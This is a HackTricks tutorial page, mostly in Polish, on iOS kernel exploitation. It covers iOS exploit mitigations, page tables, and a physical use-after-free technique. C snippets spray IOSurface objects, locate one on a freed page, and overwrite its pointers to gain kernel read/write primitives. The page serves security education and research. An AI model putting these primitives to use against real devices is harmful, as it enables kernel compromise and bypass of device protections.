iOS Physical Use After Free via IOSurface

Reading time: 12 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

iOS Exploit Mitigations

  • Code Signing in iOS działa poprzez wymóg, aby każdy fragment wykonywalnego kodu (aplikacje, biblioteki, rozszerzenia itd.) był kryptograficznie podpisany certyfikatem wydanym przez Apple. Kiedy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego certyfikatu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmówi uruchomienia. To uniemożliwia atakującym wstrzyknięcie złośliwego kodu do legalnych aplikacji lub uruchamianie niepodpisanych binariów, skutecznie zatrzymując większość łańcuchów exploitów opartych na uruchamianiu dowolnego lub zmodyfikowanego kodu.
  • CoreTrust jest podsystemem iOS odpowiedzialnym za egzekwowanie code signing w czasie wykonywania. Bezpośrednio weryfikuje podpisy używając root certyfikatu Apple bez polegania na pamięci podręcznej zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub posiadające ważne entitlements) mogą się wykonać. CoreTrust zapewnia, że nawet jeśli atakujący zmodyfikuje aplikację po instalacji, zmieni systemowe biblioteki lub spróbuje załadować niepodpisany kod, system zablokuje wykonanie, chyba że kod pozostaje prawidłowo podpisany. To ścisłe egzekwowanie zamyka wiele wektorów post-exploitation, które w starszych wersjach iOS były możliwe przez słabsze lub obejściowe sprawdzenia podpisów.
  • Data Execution Prevention (DEP) oznacza regiony pamięci jako nie-wykonywalne, chyba że explicite zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do regionów danych (takich jak stos czy heap) i jego uruchamianie, zmuszając do użycia bardziej złożonych technik jak ROP (Return-Oriented Programming).
  • ASLR (Address Space Layout Randomization) losuje adresy pamięci kodu, bibliotek, stosu i heapu przy każdym uruchomieniu systemu. Utrudnia to atakującym przewidzenie, gdzie znajdują się przydatne instrukcje lub gadgety, łamiąc wiele łańcuchów exploitów zależnych od stałego układu pamięci.
  • KASLR (Kernel ASLR) stosuje ten sam koncept losowania do jądra iOS. Mieszając bazowy adres jądra przy każdym rozruchu, uniemożliwia atakującym wiarygodne zlokalizowanie funkcji lub struktur jądra, zwiększając trudność exploitów na poziomie jądra, które w przeciwnym razie dawałyby pełną kontrolę nad systemem.
  • Kernel Patch Protection (KPP), znany także jako AMCC (Apple Mobile File Integrity) w iOS, ciągle monitoruje strony kodu jądra, by upewnić się, że nie zostały zmodyfikowane. Jeśli wykryte zostanie jakiekolwiek manipulowanie—np. exploit próbujący załatać funkcje jądra lub wstawić złośliwy kod—urządzenie natychmiast zresetuje się (panic). Ta ochrona utrudnia trwałe exploity jądra, ponieważ atakujący nie mogą po prostu hookować lub łatać instrukcji jądra bez wywołania awarii systemu.
  • Kernel Text Readonly Region (KTRR) to zabezpieczenie sprzętowe wprowadzone na urządzeniach iOS. Używa kontrolera pamięci CPU, aby oznaczyć sekcję kodu (text) jądra jako na stałe tylko do odczytu po starcie. Po zablokowaniu nawet samo jądro nie może modyfikować tego regionu pamięci. To zapobiega atakującym — a nawet uprzywilejowanemu kodowi — przed łamaniem instrukcji jądra w czasie wykonywania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu jądra.
  • Pointer Authentication Codes (PAC) używają kryptograficznych podpisów osadzonych w nieużywanych bitach wskaźników, aby weryfikować ich integralność przed użyciem. Gdy wskaźnik (np. adres powrotu lub wskaźnik funkcji) jest tworzony, CPU podpisuje go sekretnym kluczem; przed dereferencją CPU sprawdza podpis. Jeśli wskaźnik został sfałszowany, sprawdzenie nie powiedzie się i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie zmodyfikowanych wskaźników w exploitach korupcji pamięci, utrudniając techniki takie jak ROP czy JOP.
  • Privilege Access Never (PAN) to funkcja sprzętowa, która zapobiega bezpośredniemu dostępowi jądra (tryb uprzywilejowany) do pamięci przestrzeni użytkownika, chyba że explicite włączy dostęp. To blokuje atakujących, którzy uzyskali wykonywanie kodu w jądrze, przed łatwym czytaniem lub zapisywaniem pamięci użytkownika w celu eskalacji lub kradzieży danych. Poprzez wymuszenie ścisłego separowania, PAN zmniejsza wpływ exploitów jądra i blokuje wiele powszechnych technik eskalacji uprawnień.
  • Page Protection Layer (PPL) jest mechanizmem bezpieczeństwa iOS chroniącym krytyczne regiony zarządzane przez jądro, szczególnie te związane z code signing i entitlements. Wymusza ścisłe protekcje zapisu używając MMU i dodatkowych sprawdzeń, zapewniając, że nawet uprzywilejowany kod jądra nie może dowolnie modyfikować wrażliwych stron. To zapobiega atakującym, którzy uzyskali wykonywanie kodu w jądrze, przed manipulacją strukturami krytycznymi dla bezpieczeństwa, utrudniając uzyskanie trwałości i obejścia podpisów kodu.

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Memory management in XNU

The virtual memory address space for user processes on iOS spans from 0x0 to 0x8000000000. However, these addresses don’t directly map to physical memory. Instead, the kernel uses page tables to translate virtual addresses into actual physical addresses.

Levels of Page Tables in iOS

Page tables are organized hierarchically in three levels:

  1. L1 Page Table (Level 1):
  • Each entry here represents a large range of virtual memory.
  • It covers 0x1000000000 bytes (or 256 GB) of virtual memory.
  1. L2 Page Table (Level 2):
  • An entry here represents a smaller region of virtual memory, specifically 0x2000000 bytes (32 MB).
  • An L1 entry may point to an L2 table if it can't map the entire region itself.
  1. L3 Page Table (Level 3):
  • This is the finest level, where each entry maps a single 4 KB memory page.
  • An L2 entry may point to an L3 table if more granular control is needed.

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • Some entries in a page table directly map a range of virtual addresses to a contiguous range of physical addresses (like a shortcut).
  • Pointer to Child Page Table:
  • If finer control is needed, an entry in one level (e.g., L1) can point to a child page table at the next level (e.g., L2).

Example: Mapping a Virtual Address

Let’s say you try to access the virtual address 0x1000000000:

  1. L1 Table:
  • The kernel checks the L1 page table entry corresponding to this virtual address. If it has a pointer to an L2 page table, it goes to that L2 table.
  1. L2 Table:
  • The kernel checks the L2 page table for a more detailed mapping. If this entry points to an L3 page table, it proceeds there.
  1. L3 Table:
  • The kernel looks up the final L3 entry, which points to the physical address of the actual memory page.

Example of Address Mapping

If you write the physical address 0x800004000 into the first index of the L2 table, then:

  • Virtual addresses from 0x1000000000 to 0x1002000000 map to physical addresses from 0x800004000 to 0x802004000.
  • This is a block mapping at the L2 level.

Alternatively, if the L2 entry points to an L3 table:

  • Each 4 KB page in the virtual address range 0x1000000000 -> 0x1002000000 would be mapped by individual entries in the L3 table.

Physical use-after-free

A physical use-after-free (UAF) occurs when:

  1. A process allocates some memory as readable and writable.
  2. The page tables are updated to map this memory to a specific physical address that the process can access.
  3. The process deallocates (frees) the memory.
  4. However, due to a bug, the kernel forgets to remove the mapping from the page tables, even though it marks the corresponding physical memory as free.
  5. The kernel can then reallocate this "freed" physical memory for other purposes, like kernel data.
  6. Since the mapping wasn’t removed, the process can still read and write to this physical memory.

This means the process can access pages of kernel memory, which could contain sensitive data or structures, potentially allowing an attacker to manipulate kernel memory.

IOSurface Heap Spray

Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called heap spray:

  1. The attacker creates a large number of IOSurface objects in kernel memory.
  2. Each IOSurface object contains a magic value in one of its fields, making it easy to identify.
  3. They scan the freed pages to see if any of these IOSurface objects landed on a freed page.
  4. When they find an IOSurface object on a freed page, they can use it to read and write kernel memory.

More info about this in https://github.com/felix-pb/kfd/tree/main/writeups

tip

Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. Moreover, IOSurface allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And IOSurface is now guarded by entitlements and sandbox restrictions.

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: The attacker creates many IOSurface objects with a special identifier ("magic value").
  2. Scan Freed Pages: They check if any of the objects have been allocated on a freed page.
  3. Read/Write Kernel Memory: By manipulating fields in the IOSurface object, they gain the ability to perform arbitrary reads and writes in kernel memory. This lets them:
  • Use one field to read any 32-bit value in kernel memory.
  • Use another field to write 64-bit values, achieving a stable kernel read/write primitive.

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Wyszukaj obiekty IOSurface w jednej zwolnionej stronie fizycznej:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Uzyskanie odczytu/zapisu w kernelu za pomocą IOSurface

Po zdobyciu kontroli nad obiektem IOSurface w pamięci kernela (mapowanym do zwolnionej fizycznej strony dostępnej z userspace), możemy go użyć do dowolnych operacji odczytu i zapisu w kernelu.

Kluczowe pola w IOSurface

Obiekt IOSurface ma dwa kluczowe pola:

  1. Use Count Pointer: umożliwia 32-bitowy odczyt.
  2. Indexed Timestamp Pointer: umożliwia 64-bitowy zapis.

Nadpisując te wskaźniki, przekierowujemy je do dowolnych adresów w pamięci kernela, umożliwiając operacje odczytu/zapisu.

32-bitowy odczyt w kernelu

Aby wykonać odczyt:

  1. Nadpisz use count pointer, aby wskazywał na docelowy adres z odjętym offsetem 0x14 bajtów.
  2. Użyj metody get_use_count, aby odczytać wartość pod tym adresem.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Aby wykonać zapis:

  1. Nadpisz indexed timestamp pointer, aby wskazywał na target address.
  2. Użyj metody set_indexed_timestamp, aby zapisać wartość 64-bitową.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Podsumowanie przebiegu exploita

  1. Trigger Physical Use-After-Free: Zwolnione strony są dostępne do ponownego użycia.
  2. Spray IOSurface Objects: Alokuj wiele obiektów IOSurface z unikalną "magic value" w pamięci jądra.
  3. Identify Accessible IOSurface: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.
  4. Abuse Use-After-Free: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić arbitralne kernel read/write za pomocą metod IOSurface.

Dzięki tym prymitywom exploit zapewnia kontrolowane 32-bit reads i 64-bit writes w pamięci jądra. Dalsze kroki jailbreak mogą wymagać bardziej stabilnych prymitywów read/write, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks